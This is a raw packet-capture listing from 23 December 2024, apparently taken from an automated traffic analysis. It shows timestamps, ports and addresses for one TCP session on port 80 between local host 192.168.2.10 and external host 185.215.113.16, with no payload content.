Dec 23, 2024 07:52:47.541884899 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.542118073 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.543523073 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.543617010 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.544154882 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.547117949 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.547197104 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.547286987 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.550647020 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.550734997 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.550899029 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.554161072 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.554266930 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.554367065 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.557446003 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.557560921 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.557926893 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.560570955 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.560808897 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.561918020 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.563693047 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.563781023 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.566024065 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.566690922 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.566811085 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.569715977 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.569833040 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.569838047 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.572696924 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.572760105 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.572829962 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.573882103 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.575655937 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.575767994 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.575829983 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.578634024 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.578728914 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.578789949 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.581629992 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.581743956 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.581899881 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.584542990 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.584641933 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.586008072 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.587503910 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.587610960 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.590470076 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.590626001 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.591341019 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.593947887 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.594106913 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.594125032 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.596398115 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.596503973 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.597831964 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.598437071 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.599364042 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.599406958 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.599649906 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.602283955 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.602375984 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.602461100 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.605233908 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.605330944 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.605528116 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.608270884 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.608393908 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.609829903 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.611243963 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.611356974 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.611628056 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.614171982 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.614303112 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.614368916 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.617177963 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.617301941 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.617877007 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.620146990 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.620260000 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.622340918 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.623126030 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.623219013 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.626086950 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.626214981 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.626262903 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.626262903 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.629101038 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.629250050 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.629826069 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.632462978 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.632620096 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.633840084 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.634943962 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.635443926 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.637825012 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.637893915 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.638056993 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.639349937 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.641127110 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.641247988 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.642354012 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.643829107 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.643975973 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.645034075 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.646931887 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.647056103 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.647332907 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.650067091 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.650238037 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.650311947 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.652714968 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.652925014 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.653024912 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.655678988 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.655813932 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.655915976 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.658726931 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.658802986 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.658871889 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.661660910 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.661946058 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.664554119 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.664660931 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.664661884 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.665884972 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.667531013 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.667706013 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.667824984 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.670480967 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.670608997 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.670731068 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.673985958 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.674150944 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.674220085 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.677011967 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.677027941 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.677150011 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.680190086 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.680502892 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.680562973 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.733849049 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.734016895 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.734177113 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.735002995 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.735483885 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.735563993 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.735586882 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.737894058 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.737999916 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.738152027 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.740315914 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.740449905 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.740612030 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.742682934 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.742820024 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.742877007 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.745016098 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.745076895 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.745146036 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.747329950 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.747432947 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.747509956 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.749596119 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.749706030 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.749865055 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.751856089 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.751972914 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.752018929 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.754045963 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.754131079 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.754221916 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.756138086 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.756257057 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.756380081 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.758377075 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.758488894 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.758569002 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.760880947 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.760989904 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.761065006 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.762528896 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.762625933 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.762631893 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.764590025 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.764710903 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.764822006 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.766640902 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.766751051 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.766823053 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.768671036 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.768801928 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.768877029 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.770637989 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.770740032 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.770765066 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.772644997 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.772761106 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.772855997 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.774591923 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.774682045 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.774779081 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.776532888 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.776644945 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.776825905 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.778470993 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.778574944 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.778598070 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.780368090 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.780476093 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.780566931 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.782233953 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.782341003 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.782594919 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.784089088 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.784215927 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.784358978 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.786364079 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.786381006 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.786432028 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.787895918 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.787950993 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.787998915 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.789741993 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.789835930 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.790055037 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.791543007 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.791651964 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.791770935 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.793322086 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.793440104 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.793504000 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.795131922 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.795213938 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.795238018 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.796206951 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.796308994 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.796406984 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.797282934 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.797359943 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.797657967 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.798297882 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.798393011 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.798499107 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.799405098 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.799484968 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.799961090 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.800400972 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.800488949 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.800693989 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.801465034 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.801568031 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.801800013 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.802505970 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.802622080 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.803174019 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.803551912 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.803678989 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.803817987 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.804606915 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.804723978 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.804933071 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.805674076 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.805757999 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.805999994 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.806742907 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.806797028 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.806843996 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.807845116 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.807948112 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.807959080 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.808837891 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.808952093 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.809015036 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.809920073 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.810065985 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.810142040 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.810961008 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.811033964 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.811096907 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.812155962 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.812235117 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.812269926 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.813091993 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.813208103 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.813265085 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.814131021 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.814254045 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.814321995 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.815165043 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.815269947 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.815279961 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.816246986 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.816344023 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.816371918 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.863859892 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.926212072 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.926237106 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.926340103 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.926632881 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.926826000 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.926886082 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.926909924 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.927926064 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.927985907 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.928014994 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.928991079 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.929044962 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.929063082 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.930114031 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.930150986 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.930216074 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.931204081 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.931267023 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.931303978 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.932121992 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.932204962 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.932219028 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.933157921 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.933232069 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.933284998 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.934158087 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.934246063 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.934298038 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.935142994 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.935256958 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.935333014 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.936147928 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.936207056 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.936310053 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.937084913 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.937206030 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.937259912 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.938153028 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.938251972 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.938260078 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.938966990 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.939064980 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.939127922 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.939908981 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.939955950 CET	49758	80	192.168.2.10	185.215.113.16
